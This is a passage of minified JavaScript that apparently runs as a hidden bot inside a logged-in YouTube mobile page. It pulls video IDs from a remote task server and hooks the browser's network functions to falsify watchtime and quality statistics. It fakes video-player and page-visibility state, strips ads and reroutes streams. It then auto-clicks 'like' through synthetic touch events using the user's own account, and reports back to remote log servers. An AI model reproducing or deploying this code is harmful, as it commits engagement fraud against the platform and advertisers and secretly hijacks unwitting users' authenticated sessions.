t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)}),viewTime:40,timerWait:6e4,frameCount:1},s={startViewItem:null,currentItem:null,checkItem:null,mainTime:1,itemLen:75,finalItemLen:14400,finalItemTime:14400,canStop:!1,workStarted:!1},o={logSended:!1,atrSended:!1,timeSended:!1,consentSended:!1},d={viewAtr:!1,LN_atr_good:!1,viewPlayback:!1,viewTimer:0,lastTimer:0,hasVisible:!1,lastRAF:0,visUpdated:!1,viewMainPlayback:!1,viewMainAtr:!1,MN_atr_good:!1,hasQoe:!1},l={isLive:!1,isUnvplayable:!1},c={loadPageCount:100,waitShow:40,waitMain:40,waitStart:5,waitPlay:20,addMain:5},u={linkNode:!1,clicked:!1,tryCount:0,touchN:0,MN_click:!1,LN_click:!1},p={likeSended:!1,likeState:null,isLiked:!1,likePreState:null},h=function(){return this};h.prototype={fillOptions:function(e){return["data","success","error","json","headers","creds"].forEach(function(t){void 0===e[t]&&(e[t]=null)}),e},getSend:function(e,t){return this.sender("GET",e,t)},postSend:function(e,t){return this.sender("POST",e,t)},sender:function(e,t,n){n=this.fillOptions(n);var a=window.preXMLHttpRequest?new window.preXMLHttpRequest:new XMLHttpRequest;if(a.open(e,t,!0),n.json||"POST"!==e||a.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),a.onreadystatechange=function(){a.readyState===a.DONE&&(200===a.status?n.success&&n.success(a.responseText):n.error&&n.error(a.responseText,a.status))},n.creds&&(a.withCredentials=!0),n.headers)for(var i in n.headers)a.setRequestHeader(i+"",n.headers[i+""]);return a.send(n.data?n.data:null),a}};var m=new h,f={cget:function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()\[\]\\\/+^])/g,"\\$1")+"=([^;]*)"));return t?t[1]:""},cset:function(e,t,n){var a=new Date,i=e+"="+t;for(var r in a.setTime(a.getTime()+1e3*n.expires),n.expires=a.toUTCString(),n){i+="; "+r;var s=n[r+""];!0!==s&&(i+="="+s)}document.cookie=i}},y=function(e,t,n){const a=[];n.forEach(t=>{a.push(new Touch({clientX:t.x,clientY:t.y,identifier:t.id,target:e}))}),e.dispatchEvent(new TouchEvent(t,{touches:a,view:window,cancelable:!0,bubbles:!0}))},v=function(){return this.logData={fingerprint:"",type:r.scriptType+r.workerId,stat:n.stats.statType,id:0,v:"",type_task:n.stats.taskType},this.ReqLog=new h,this};v.prototype={add:function(e,t){this.logData[e]=t},push:function(e,t){this.logData[e].push(t)},send:function(e){var t;this.add("fingerprint",r.mainUdid);try{t=JSON.stringify(this.logData)}catch(e){t="{}"}var a={data:t,json:!0};e&&(a.success=e,a.error=e,e()),this.ReqLog.postSend("https://statlog"+r.serviceId+n.urls.eLog+"?v="+Math.random(),a)}};var w=function(){return this.stopLog=!1,this.logData={udid:r.mainUdid,task_id:r.taskId,sid:n.stats.logtype,generated:!1,event:"start_script",timer:0,version:1,is_hidden:!0,has_focus:!0,visibility_state:r.taskVersion},this.ReqLog=new h,this};w.prototype={send:function(e,t,a,i){var o=this;if(a?C():i&&setTimeout(i,100),!(r.isProd&&!t||this.stopLog)){var d=JSON.parse(JSON.stringify(this.logData));d.udid=r.mainUdid,d.sid=n.stats.logtype,d.event=e,d.timer=s.currentItem?parseInt(s.currentItem.id):0;var l={json:!0,data:JSON.stringify(d)};setTimeout(function(){o.ReqLog.postSend(n.urls.sLog,l)},0)}}};var g=function(){return s.finalItemTime.toFixed(3)},_=function(){return(s.finalItemTime+1).toFixed(3)},x=function(e){return e=e.replace(/([&?])bh(=|=[^&]+,|=[^&]+%2C)([0-9.]+):[0-9.]+(&.*|)$/i,"$1bh$2$3:"+g()+"$4"),!d.hasQoe&&e.match(/([&?])bh(=|=[^&]+,|=[^&]+%2C)10\.[0-9]+:[0-9.]+(&.*|)$/i)&&(d.hasQoe=!0,K.send("v_hq")),e},k=function(e){return e=(e=(e=(e=(e=(e=e.replace(/([&?])vps(=|=[^&]+,|=[^&]+%2C)[0-9.]+:([a-zA-Z]+)(&.*|)$/i,"$1vps$2"+_()+":$3$4")).replace(/([&?])bwm(=|=[^&]+,|=[^&]+%2C)[0-9.]+(&.*|)$/i,"$1bwm$2"+_()+"$3")).replace(/([&?])bwe(=|=[^&]+,|=[^&]+%2C)[0-9.]+(&.*|)$/i,"$1bwe$2"+_()+"$3")).replace(/([&?])bat(=|=[^&]+,|=[^&]+%2C)[0-9.]+(:[0-9.]+:[0-9.]+)(&.*|)$/i,"$1bat$2"+_()+"$3$4")).replace(/([&?])cmt(=|=[^&]+,|=[^&]+%2C)[0-9.]+:[0-9.]+(&.*|)$/i,"$1cmt$2"+_()+":"+g()+"$3")).replace(/([&?])bh(=|=[^&]+,|=[^&]+%2C)[0-9.]+:[0-9.]+(&.*|)$/i,"$1bh$2"+_()+":"+g()+"$3"),K.send("qoe_pl"),s.canStop=!0,e},T=function(e){var t,n=e.toLowerCase(),a=s.checkItem?s.checkItem.toLowerCase():"";return n.indexOf("/atr?")>-1&&(a&&n.indexOf(a)>-1?(d.viewAtr=!0,K.send("L_atr")):(d.viewMainAtr=!0,K.send("M_atr"))),n.indexOf("/playback?")>-1&&(a&&n.indexOf(a)>-1?(d.viewPlayback=!0,K.send("L_play")):(d.viewMainPlayback=!0,K.send("M_play"))),a&&-1===n.indexOf(a)&&n.indexOf("pbj=")>-1&&(e=e.replace(/([&?])v=[^&](&.*|)$/i,"$1v="+s.checkItem+"$2")),a&&(t=n.match(/like\/((?:remove|dis|)like)/i))&&t&&(K.send("is_like_"+t[1],!0),p.likeSended=!0),a&&-1!==n.indexOf(a)?((n.indexOf("watchtime")>-1||n.indexOf("/playback")>-1)&&(e=e.replace(/([&?])len=[^&]+(&.*|)$/i,"$1len="+g()+"$2")),n.indexOf("watchtime")>-1&&n.indexOf("final=1")>-1&&(e=function(e){return e=(e=(e=e.replace(/&cmt=[0-9.]+(&.*|)$/i,"&cmt="+g()+"$1")).replace(/&rt=[0-9.]+(&.*|)$/i,"&rt="+_()+"$1")).replace(/&et(=|=[^&]+,|=[^&]+%2C)[0-9.]+(&.*|)$/i,"&et$1"+g()+"$2"),K.send("final"),e}(e)),n.indexOf("stats/qoe")>-1&&(e=d.hasQoe&&d.viewAtr?k(e):x(e)),n.indexOf("/watchtime?")>-1&&(n.match(/[&?]st=[0-9.]+(,|%2c)[^&]+(&.*|)$/i)&&(e=e.replace(/([&?]st=[0-9.]+)(,|%2c)[^&]+(&.*|)$/i,"$1$3")),n.match(/[&?]et=[^&]+(,|%2c)[0-9.]+(&.*|)$/i)&&(e=e.replace(/([&?]et=)[^&]+(,|%2c)([0-9.]+)(&.*|)$/i,"$1$3$4")),n.match(/[&?]volume=[0-9.]+(,|%2c)[^&]+(&.*|)$/i)&&(e=e.replace(/([&?]volume=[0-9.]+)(,|%2c)[^&]+(&.*|)$/i,"$1$3")),n.match(/[&?]muted=[0-9.]+(,|%2c)[^&]+(&.*|)$/i)&&(e=e.replace(/([&?]muted=[0-9.]+)(,|%2c)[^&]+(&.*|)$/i,"$1$3"))),e):e},b=function(e,t,n){if(!t)return t;if("string"!=typeof t)return t;var a=e.toLowerCase(),i=s.checkItem?s.checkItem.toLowerCase():"";if(a.indexOf("/atr?")>-1){var r=t.length>1e3;i&&a.indexOf(i)>-1?(d.LN_atr_good=r,K.send("LN_atr_"+(r?"1":"0"),!0)):(d.MN_atr_good=r,K.send("MN_atr_"+(r?"1":"0"),!0))}return i&&a.indexOf("/qoe")>-1&&(t&&t.indexOf("error")>-1?K.send("Qoe_err"):t=d.hasQoe&&d.viewAtr?k(t):x(t)),t},L=function(e,t){return e=(e=e.replace("app=m&pbj=","pbj=")).replace("pbj=","app=m&pbj="),e=T(e)},N=function(e){return e=(e=(e=e.replace(/\\\\u00/g,"ux00")).replace(/\\u0026/g,"um0026")).replace(/\\u003d/g,"um003d")},M=function(e){return e=(e=(e=e.replace(/um003d/g,"\\u003d")).replace(/um0026/g,"\\u0026")).replace(/ux00/g,"\\\\u00")},S=function(e,t,n){var a=e.match(t);return a&&(a=a.map(function(e){return e.replace(n,"$1")})).forEach(t=>{s.startViewItem&&s.startViewItem===t||s.currentItem&&(e=e.replace(new RegExp(t,"gm"),s.currentItem.item))}),e},E=function(){return{itag:18,url:"https://"+n.cdnUrl+"/videoplayback?expire=1638830180",mimeType:'video/mp4; codecs="avc1.42001E, mp4a.40.2"',bitrate:647406,width:640,height:360,lastModified:"1638630751339073",contentLength:"83046037",quality:"medium",fps:25,qualityLabel:"360p",projectionType:"RECTANGULAR",averageBitrate:647358,audioQuality:"AUDIO_QUALITY_LOW",approxDurationMs:"1026275",audioSampleRate:"44100",audioChannels:2}},D=["3","response","contents","singleColumnWatchNextResults","results","results","contents","1"],I=["buttons","0","slimMetadataToggleButtonRenderer","button","toggleButtonRenderer","isToggled"],R=D.concat(["itemSectionRenderer","contents","0","slimVideoMetadataRenderer"]).concat(I),A=D.concat(["slimVideoMetadataSectionRenderer","contents","1","slimVideoActionBarRenderer"]).concat(I),$=function(e,t,n){if("blob"!==e.responseType)return void(n&&n(t));var a="response"in e?e.response:e.responseText;const i=new FileReader;i.onload=(a=>{O(e,t,n,a.target.result)}),i.readAsText(a)},P=function(e,t,n){if("blob"!==e.responseType)return void(n&&n(t));var a="response"in e?e.response:e.responseText;const i=new FileReader;i.onload=(a=>{V(e,t,n,a.target.result)}),i.readAsText(a)},O=function(e,t,a,i){var r;try{r=JSON.parse(i)}catch(e){return void a(t)}if(r){try{if(r.adPlacements&&r.adPlacements.length>0&&(r.adPlacements=[]),!l.isUnvplayable&&r.playabilityStatus&&r.playabilityStatus.status&&"UNPLAYABLE"===r.playabilityStatus.status&&(l.isUnvplayable=!0,K.send("play_error",!0,!0)),r.streamingData){var d=r.streamingData;d.playerAds&&d.playerAds.length>0&&(r.streamingData.playerAds=[]),d.adaptiveFormats&&d.adaptiveFormats.length>0&&(r.streamingData.adaptiveFormats=[]),d.formats&&0!==d.formats.length||(r.streamingData.formats=[],r.streamingData.formats.push(E())),d.dashManifestUrl&&(r.streamingData.dashManifestUrl=""),d.hlsManifestUrl&&(r.streamingData.hlsManifestUrl="")}if(s.currentItem&&r.playerResponse&&r.playerResponse.videoDetails&&s.currentItem.item===r.playerResponse.videoDetails.videoId&&(r.videoDetails.isLive&&!0===r.videoDetails.isLive&&(l.isLive=!0),r.videoDetails.lengthSeconds)){var c=r.videoDetails.lengthSeconds.replace(/^([0-9]+)\.[0-9]+$/,"$1").replace(/[^0-9]/,"");(c=c?parseInt(c):0)&&c>s.itemLen&&(s.itemLen=c)}i=(i=JSON.stringify(r)).replace(/https?:\/\/.*?\/videoplayback/gi,"https://"+n.cdnUrl+"/videoplayback"),o.parceSended||(o.parceSended=!0,K.send("player_parse"));var u=new Blob([i],{type:"application/json"});e["response"in e?"response":"responseText"]=u}catch(e){}a(t)}else a(t)},V=function(e,t,n,a){if("blob"===e.responseType){if(a){a=(a=a.replace(new RegExp('"videoId":"[^"]+"',"g"),'"videoId":"'+s.currentItem.item+'"')).replace(new RegExp('"/watch?v=[^"]+"',"g"),'"/watch?v='+s.currentItem.item+'"');var i=new Blob([a],{type:"application/json"});e["response"in e?"response":"responseText"]=i}n(t)}else n&&n(t)},U=function(e){if(!e)return e;try{e=N(e);var t=JSON.parse(e);if(!t)return e;if(t[2]&&t[2].playerResponse){var a=t[2].playerResponse;if(a.adPlacements&&a.adPlacements.length>0){var i=JSON.stringify(t[2].playerResponse.adPlacements);e=e.replace('"adPlacements":'+i,'"adPlacements":[]')}if(!l.isUnvplayable&&a.playabilityStatus&&a.playabilityStatus.status&&"UNPLAYABLE"===a.playabilityStatus.status&&(l.isUnvplayable=!0,K.send("play_error_p",!0,!0)),a.playerAds&&a.playerAds.length>0){var r=JSON.stringify(t[2].playerResponse.playerAds);e=e.replace('"playerAds":'+r,'"playerAds":[]')}if(a.streamingData){var o=a.streamingData;o.adaptiveFormats&&o.adaptiveFormats.length>0&&(e=e.replace(/"adaptiveFormats":\+]/,'"adaptiveFormats":[]')),o.playerAds&&o.playerAds.length>0&&(e=e.replace(/"playerAds":\+]/,'"playerAds":[]')),o.formats||(o.formats=[],o.formats.push(E()),e=(e=(e=e.replace(/,"formats":\+]/,"")).replace(/"formats":\+],/,"")).replace('"adaptiveFormats":','"formats":'+JSON.stringify(o.formats)+',"adaptiveFormats":')),o.dashManifestUrl&&(e=(e=e.replace(/,"dashManifestUrl":"[^"]+"/i,"")).replace(/"dashManifestUrl":"[^"]+",/i,"")),o.hlsManifestUrl&&(e=(e=e.replace(/,"hlsManifestUrl":"[^"]+"/i,"")).replace(/"hlsManifestUrl":"[^"]+",/i,""))}if(s.currentItem&&a.videoDetails&&s.currentItem.item===a.videoDetails.videoId&&(a.videoDetails.isLive&&!0===a.videoDetails.isLive&&(l.isLive=!0),a.videoDetails.lengthSeconds)){var d=a.videoDetails.lengthSeconds.replace(/^([0-9]+)\.[0-9]+$/,"$1").replace(/[^0-9]/,"");(d=d?parseInt(d):0)&&d>s.itemLen&&(s.itemLen=d)}}return function(e){var t=e,n=null,a=function(e){if(t)for(var a in e){if("isToggled"===e[a]){n=t[e[a]]&&!0===t[e[a]];break}if(!t[e[a]])break;t=t[e[a]]}};a(R),null===n&&(t=e,a(A)),null!==n?(p.isLiked=n,p.likeState=n):K.send("like_toggle_error")}(t),e=e.replace(/https?:\/\/.*?\/videoplayback/gi,"https://"+n.cdnUrl+"/videoplayback"),e=S(e,new RegExp('"videoId":"[^"]+"',"gm"),new RegExp('"videoId":"([^"]+)"',"m")),e=(e=(e=(e=(e=(e=(e=S(e,new RegExp("\\\\u0022videoId\\\\u0022:\\\\u0022.{11}\\\\u0022","gm"),new RegExp("\\\\u0022videoId\\\\u0022:\\\\u0022(.{11})\\\\u0022","m"))).replace(/hq720[^.]*\.jpg[^"]+"/g,'default.jpg"')).replace(/hq720[^.]*\.webp[^"]+"/g,'default.webp"')).replace(/(mq|hq|sd)default[^.]*\.jpg"/g,'default.jpg"')).replace(/(mq|hq|sd)default[^.]*\.webp"/g,'default.webp"')).replace(/(mq|hq|sd)default[^.]*\.jpg\\u0022/g,"default.jpg\\u0022")).replace(/(mq|hq|sd)default[^.]*\.webp\\u0022/g,"default.webp\\u0022"),e=M(e)}catch(e){return""}},q={playDop:!1,playNow:!1,realPlay:!1,playerDataValues:{currentTime:0,duration:null,ended:!1,paused:!1,readyState:0,networkState:3,askBuffered:!1,askPlayed:!1,buffered:{length:0,start:0,end:0},played:{length:0,start:0,end:0}},resetPlayer:function(){q.playNow=!1,q.playerDataValues.currentTime=0,q.playerDataValues.duration=0,q.playerDataValues.ended=!1,q.playerDataValues.paused=!1,q.playerDataValues.readyState=0,q.playerDataValues.networkState=3,q.playerDataValues.buffered.length=0,q.playerDataValues.buffered.start=0,q.playerDataValues.buffered.end=0,q.playerDataValues.played.length=0,q.playerDataValues.played.start=0,q.playerDataValues.played.end=0,q.playerDataValues.askBuffered=!1,q.playerDataValues.askPlayed=!1},updatePlayer:function(){window.HTMLMediaElement.prototype.__addEventListener=window.HTMLMediaElement.prototype.addEventListener,window.HTMLMediaElement.prototype.addEventListener=function(e,t,n){return this.__addEventListener(e,function(t,n){"playing"!==e||!s.workStarted||q.playNow||q.realPlay||(q.realPlay=!0,K.send("realPlay"))},n),this.__addEventListener(e,t,n)},window.HTMLMediaElement.prototype.doplay=function(){if(q.playNow){var e=this;q.playerDataValues.currentTime+=1,q.playerDataValues.buffered.end=q.playerDataValues.currentTime,q.playerDataValues.played.end=q.playerDataValues.currentTime,this.dispatchEvent(new Event("timeupdate")),setTimeout(function(){e.doplay()},100)}else q.playDop=!1},delete window.HTMLMediaElement.prototype.error,window.HTMLMediaElement.prototype.__defineGetter__("error",function(){return null}),delete window.HTMLMediaElement.prototype.paused,window.HTMLMediaElement.prototype.__defineGetter__("paused",function(){return q.playerDataValues.paused}),delete window.HTMLMediaElement.prototype.ended,window.HTMLMediaElement.prototype.__defineGetter__("ended",function(){return q.playerDataValues.ended}),delete window.HTMLMediaElement.prototype.muted,window.HTMLMediaElement.prototype.__defineGetter__("muted",function(){return!1}),window.HTMLMediaElement.prototype._pause=window.HTMLMediaElement.prototype.pause,window.HTMLMediaElement.prototype.pause=function(){},window.HTMLMediaElement.prototype._play=window.HTMLMediaElement.prototype.play,window.HTMLMediaElement.prototype.play=function(){var e=this;return setTimeout(function(){s.workStarted&&(q.realPlay||q.playNow||(q.playNow=!0,K.send((s.workStarted?"LN_":"MN_")+"player"),e._updatedData||(e._updatedData=!0,e.__buffered=e.buffered,e._buffered={length:1,start:function(){return 0},end:function(){return q.playerDataValues.buffered.end}},e.__played=e.played,e._played={length:1,start:function(){return 0},end:function(){return q.playerDataValues.played.end}},e._currentTime=e.currentTime,e.__defineGetter__("currentTime",function(){var t=Math.ceil(1e3*q.playerDataValues.currentTime)/1e3;return q.realPlay&&(t=e._currentTime),t}),e._duration=e.duration,e.__defineGetter__("duration",function(){var t=q.playerDataValues.duration;return q.realPlay&&(t=e._duration),t}),e._readyState=e.readyState,e.__defineGetter__("readyState",function(){var t=q.playerDataValues.readyState;return q.realPlay&&(t=e._readyState),t}),e._networkState=e.networkState,e.__defineGetter__("networkState",function(){var t=q.playerDataValues.networkState;return q.realPlay&&(t=e._networkState),t}),e.__defineGetter__("buffered",function(){var t=e._buffered;return q.realPlay&&(t=e.__buffered),t}),e.__defineGetter__("played",function(){var t=e._played;return q.realPlay&&(t=e.__played),t})),q.playerDataValues.duration=s.itemLen,q.playerDataValues.readyState=4,q.playerDataValues.networkState=1,q.playerDataValues.buffered.length=1,q.playerDataValues.buffered.end=s.itemLen,q.playerDataValues.played.length=1,q.playerDataValues.played.end=0,q.playerDataValues.askBuffered=!1,q.playerDataValues.askPlayed=!1,e.dispatchEvent(new Event("progress")),e.dispatchEvent(new Event("suspend")),e.dispatchEvent(new Event("durationchange")),e.dispatchEvent(new Event("resize")),e.dispatchEvent(new Event("loadedmetadata")),e.dispatchEvent(new Event("loadeddata")),e.dispatchEvent(new Event("playing")),setTimeout(function(){q.playDop||(q.playDop=!0,e.doplay())},100)))},1e3),this._play().then(function(e){return e})}}},H=function(e,t,n){u.linkNode=!1,u.clicked=!1,u.tryCount=0;var a=function(){if(!u.clicked){u.clicked=!0,K.send(e+"c",!0);try{u.linkNode.removeEventListener("click",a)}catch(e){}t()}},i=function(){if(u.tryCount--,u.tryCount>5)K.send(e+"nlt",!0,!0);else{var t=document.evaluate('//a[contains(@class,"media-item-thumbnail-container")]',document,null,XPathResult.ANY_TYPE,null);for(u.linkNode=t.iterateNext(),u.linkNode&&(u.linkNode=t.iterateNext());u.linkNode&&(!u.linkNode.getAttribute("href")||u.linkNode.getAttribute("href").indexOf("playlist")>-1||!u.linkNode.innerHTML||u.linkNode.innerHTML.indexOf("LIVE")>-1||-1===u.linkNode.innerHTML.indexOf("1?Math.max(window.innerWidth,411):411)+"px",u.linkNode.style.height=(window.innerHeight>1?Math.max(window.innerHeight,731):731)+"px",u.linkNode.style.paddingTop=u.linkNode.style.paddingLeft=u.linkNode.style.marginTop=u.linkNode.style.marginLeft="0";var l=document.evaluate("div/img",u.linkNode,null,XPathResult.ANY_TYPE,null).iterateNext();l&&(l.getAttribute("src")||(l.src="https://i.ytimg.com/vi/"+(s.checkItem?s.checkItem:s.startViewItem)+"/default.jpg",K.send(e+"img"))),setTimeout(function(){!function(e,t,n){u.clicked?u[n+"click"]=!0:(K.send(n+"ec",!0),u.touchN++,y(u.linkNode,"touchstart",[{x:e,y:t,id:u.touchN}]),setTimeout(function(){u.touchN++,y(u.linkNode,"touchend",[{x:e,y:t,id:u.touchN}]),u.linkNode.click()},100),setTimeout(function(){u.clicked||K.send(n+"nc",!0,!0)},1e3))}(r,d,e)},500)}else K.send(e+"l",!0,!0)}else setTimeout(i,100)}};setTimeout(i,600)},C=function(){setTimeout(function(){document.location.replace("https://"+n.cdnUrl+"/yshow.html?vv="+n.cdnVer+"&id="+i+"&udid="+r.mainUdid+(e.isAuth?"&isauth=1":""))},500)},j=function(e){e?K.send("end_like",!0,!1,function(){var e;(e=new v).add("fingerprint",r.mainUdid),e.add("id",s.currentItem?parseInt(s.currentItem.id):1),e.add("v",s.currentItem?s.currentItem.item:"x"),e.add("type",r.scriptType+[r.taskVersion,r.serviceId,r.workerId].join("_")),e.add("type_task",n.stats.taskType),e.send(C)}):K.send("no_like",!1,!0)},Y=function(){if(!o.logSended)if(c.waitShow--,c.waitShow<0)K.send("W_wait_error",!0,!0);else if(!d.viewAtr||o.atrSended||(o.atrSended=!0,K.send("W_atr",!0),d.LN_atr_good)){var e,t;(e=document.evaluate('//div[contains(@class,"time-display-content")]/span[@class="time-first"]',document,null,XPathResult.ANY_TYPE,null).iterateNext())&&(t=!!e.innerHTML&&e.innerHTML.replace(/[^0-9]+/gi,""))&&t.match(/^[0-9]+$/)&&(t=parseInt(t))>d.viewTimer&&(d.viewTimer=t,K.send("W_p_"+d.viewTimer)),K.send("W_t_"+d.viewTimer),d.viewTimer&&!o.timeSended&&(o.timeSended=!0,K.send("W_time",!0));var n=0;if(d.viewTimer&&(n=2*Math.floor(d.viewTimer/2))&&n>d.lastTimer&&(d.lastTimer=n,c.waitShow=100,K.send("W_"+n)),s.canStop||n>=r.viewTime)return o.logSended=!0,K.send("like_show"),void function(){u.linkNode=!1,u.clicked=!1,u.tryCount=0,p.isLiked&&K.send("is_liked");var e=10,t=function(){return--e<0?(K.send("like_no_sended",!0),void j()):p.likeSended?(K.send("like_sended",!1),void j(!0)):void setTimeout(t,200)},n=function(){if(!u.clicked){u.clicked=!0;try{u.linkNode.removeEventListener("click",n)}catch(e){}setTimeout(t,200)}},a=function(){if(u.tryCount--,u.tryCount>5)K.send("LK_nlt",!0,!0);else{var e='//div[contains(@class,"slim-video-action-bar-actions")]/ytm-slim-metadata-toggle-button-renderer/',t='/c3-material-button/button[contains(@class,"c3-material-button-button")]',i=document.evaluate(e+"toggle-button-with-animated-icon"+t,document,null,XPathResult.ANY_TYPE,null);if(u.linkNode=i.iterateNext(),u.linkNode||(i=document.evaluate(e+t,document,null,XPathResult.ANY_TYPE,null),u.linkNode=i.iterateNext(),u.linkNode)){var r=u.linkNode.getAttribute("aria-pressed");"true"===r&&K.send("btn_pressed"),p.likePreState="true"===r,u.linkNode.addEventListener("click",n);var s=5+Math.ceil(10*Math.random()),o=5+Math.ceil(10*Math.random());K.send("LK_need_click"),u.touchN++,y(u.linkNode,"touchstart",[{x:s,y:o,id:u.touchN}]),setTimeout(function(){u.touchN++,y(u.linkNode,"touchend",[{x:s,y:o,id:u.touchN}]),u.linkNode.click()},100),setTimeout(function(){u.clicked||K.send("LK_no_click",!1,!0)},600)}else setTimeout(a,100)}};a()}();setTimeout(Y,500)}else K.send("LN_atr_error",!0,!0)},W=function(){if(c.waitPlay--,c.waitPlay<0)return K.send("W_no_playback",!0),void setTimeout(Y,500);d.viewPlayback?(K.send("W_ok_playback",!0),setTimeout(Y,500)):setTimeout(W,500)},X=function(){K.send("W_s");var e=function(){!1===l.isLive?document.location.href.indexOf(s.currentItem.item)>-1?K.send("W_v"):d.viewPlayback||K.send("W_ve",!0):K.send("is_live",!0,!0)},t=function(){s.workStarted=!0,setTimeout(e,3e3),setTimeout(W,2e3)};setTimeout(function(){H("LN_",t,s.currentItem.item)},300)},F=function(){if(c.waitMain--,c.waitMain<0)return d.viewMainPlayback||K.send("MN_playback_error"),d.viewMainAtr||K.send("MN_atr_error"),void K.send("MN_wt",!0,!0);document.location.href.indexOf("watch")>-1||d.viewMainPlayback?setTimeout(X,1e3):setTimeout(F,500)},B=function(){setTimeout(G,3e4)},G=function(){K.send("SL_s"),m.postSend("https://service"+r.serviceId+".nservices.space/youlist.php?worker="+r.workerId+"&uid="+r.mainUdid+"&rand="+Math.random(),{data:"",success:function(e){var t;K.send("SL_i",!0);try{t=JSON.parse(e)}catch(e){return void K.send("ids_json_error",!0,!1,B)}var n=null;if(t[52])if(n=Object.keys(t[52]).pop()){var a=t[52][n+""]+"";s.currentItem={id:n+"",item:a},s.currentItem?(K.send("SL_ii"),H("MN_",F)):K.send("SL_ei",!0,!0)}else K.send("empty_vids",!0,!1,B);else K.send("empty_type",!0,!1,B)},error:function(){K.send("empty_list",!0,!1,B)}})},J=function(){c.loadPageCount--,c.loadPageCount<1?K.send("BL_e",!0,!0):document&&document.body&&!(document.body.className.indexOf("load")>-1)&&document.getElementById("player")&&""!==document.getElementById("player").innerHTML?(K.send("main_start",!0),setTimeout(function(){G()},300)):setTimeout(J,300)},z=function(e){c.waitStart--,c.waitStart<=0?K.send("MNS_"+e,!0,!0):(K.send("MNS_ret"),setTimeout(Z,100))},Q=function(e){if(c.addMain--,c.addMain<=0)K.send("MNA_stop",!0,!0);else{var t=!1;try{document.open("text/html","replace"),document.write(e),document.close(),t=!0}catch(e){K.send("MNA_bad")}t?(document.dispatchEvent(new Event("visibilitychange")),setTimeout(J,300)):setTimeout(function(){Q(e)},100)}},Z=function(){var t;t=n.urls.bUrl,window.history.replaceState({},"",t),m.getSend(n.urls.bUrl,{success:function(t){if(K.send("MNL"),t)if(t=function(e){return e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.replace("window.delayFetch","false")).replace("(isHidden)","(false)")).replace(/document\.hidden/g,"false")).replace(/"CLIENT_CANARY_STATE":"[^"]+",/,'"CLIENT_CANARY_STATE": "none",')).replace(/"CLIENT_TRANSPORT":"[^"]+",/,'"CLIENT_TRANSPORT":"tcp",')).replace(/"PLAYER_JS_URL":"([^"]+\.js)"/gi,'"PLAYER_JS_URL":"https://'+n.cdnUrl+"$1?v="+n.cdnVer+'"')).replace(/"jsUrl":"([^"]+\.js)"/gi,'"jsUrl":"https://'+n.cdnUrl+"$1?v="+n.cdnVer+'"')).replace(/src="([^"]+base\.js)"/gi,'src="https://'+n.cdnUrl+"$1?v="+n.cdnVer+'"')).replace(/hq720[^.]*\.jpg\?.*?\\x22/g,"default.jpg\\x22")).replace(/mqdefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/hqdefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/sddefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/hq720[^.]*\.webp\?.*?\\x22/g,"default.webp\\x22")).replace(/mqdefault[^.]*\.webp\\x22/g,"default.webp\\x22")).replace(/hqdefault[^.]*\.webp\\x22/g,"default.webp\\x22")).replace(/sddefault[^.]*\.webp\\x22/g,"default.webp\\x22")}(t)){if(-1===t.indexOf('"LOGGED_IN":true'))return e.isAuth=!1,K.send("no_login",!0),void ce("noauth");K.send("is_login",!0),function(){K.send("VIS");var e=0;try{document.hasFocus=function(){return!0}}catch(t){e++}try{delete document.hidden}catch(t){e++}try{document.__defineGetter__("hidden",function(){return!1})}catch(t){e++}try{delete document.visibilityState}catch(t){e++}try{document.__defineGetter__("visibilityState",function(){return"visible"})}catch(t){e++}!function(){var t=0;try{window.__requestAnimationFrame=window.requestAnimationFrame,delete window.requestAnimationFrame}catch(t){e++}try{window.requestAnimationFrame=function(e){var n=(new Date).getTime(),a=Math.max(0,16-(n-t));return t=n+a,window.setTimeout(function(){e(n+a)},a)},window.cancelAnimationFrame=function(e){clearTimeout(e)}}catch(t){e++}}(),function(){var t=0;try{window.__webkitRequestAnimationFrame=window.webkitRequestAnimationFrame,delete window.webkitRequestAnimationFrame}catch(t){e++}try{window.webkitRequestAnimationFrame=function(e){var n=(new Date).getTime(),a=Math.max(0,16-(n-t));return t=n+a,window.setTimeout(function(){e(n+a)},a)},window.webkitCancelAnimationFrame=function(e){clearTimeout(e)}}catch(t){e++}}(),e>0&&K.send("VIS_e",!0),d.visUpdated=!0}(),q.updatePlayer(),Q(t)}else z("v");else z("e")},error:function(){z("le")},creds:!0})},K=new w,ee=!1,te=function(){window.__prepareReplaceUrl=function(e,t){return L(e)},window.__checkPostData=function(e,t){return b(e,t)},ee||(ee=!0,window.requestIdleCallback=void 0,window.cancelIdleCallback=void 0,window.fetch=void 0,window.preRequest=window.Request,window.Request=function(e,t){return e=L(e),new window.preRequest(e,t)},window.navigator.preBeacon=window.navigator.sendBeacon,window.navigator.sendBeacon=function(e,t){return e=L(e),t=b(e,t),window.navigator.preBeacon(e,t)},window.preXMLHttpRequest=window.XMLHttpRequest,window.XMLHttpRequest=function(){this.xhr=new window.preXMLHttpRequest,this.events={},this.UNSENT=0,this.OPENED=1,this.HEADERS_RECEIVED=2,this.LOADING=3,this.DONE=4;var e=this,t=function(t){e.handleEvent(t)};return this.xhr.addEventListener("loadstart",t),this.xhr.addEventListener("load",t),this.xhr.addEventListener("loadend",t),this.xhr.addEventListener("progress",t),this.xhr.addEventListener("error",t),this.xhr.addEventListener("abort",t),this.xhr.addEventListener("timeout",t),this.xhr.addEventListener("readystatechange",t),this},window.XMLHttpRequest.prototype={open:function(e,t,a,i,r){return this.url=t.toLowerCase(),this.url.indexOf("videoplayback")>-1&&this.url.match(/itag=/i)&&(t=t.replace(/^.*\/videoplayback/i,"https://"+n.cdnUrl+"/videoplayback")),t=L(t),this.xhr.open(e,t,void 0===a||a,i,r)},setRequestHeader:function(e,t){this.xhr.setRequestHeader(e,t)},getResponseHeader:function(e){return this.xhr.getResponseHeader(e)},getAllResponseHeaders:function(){return 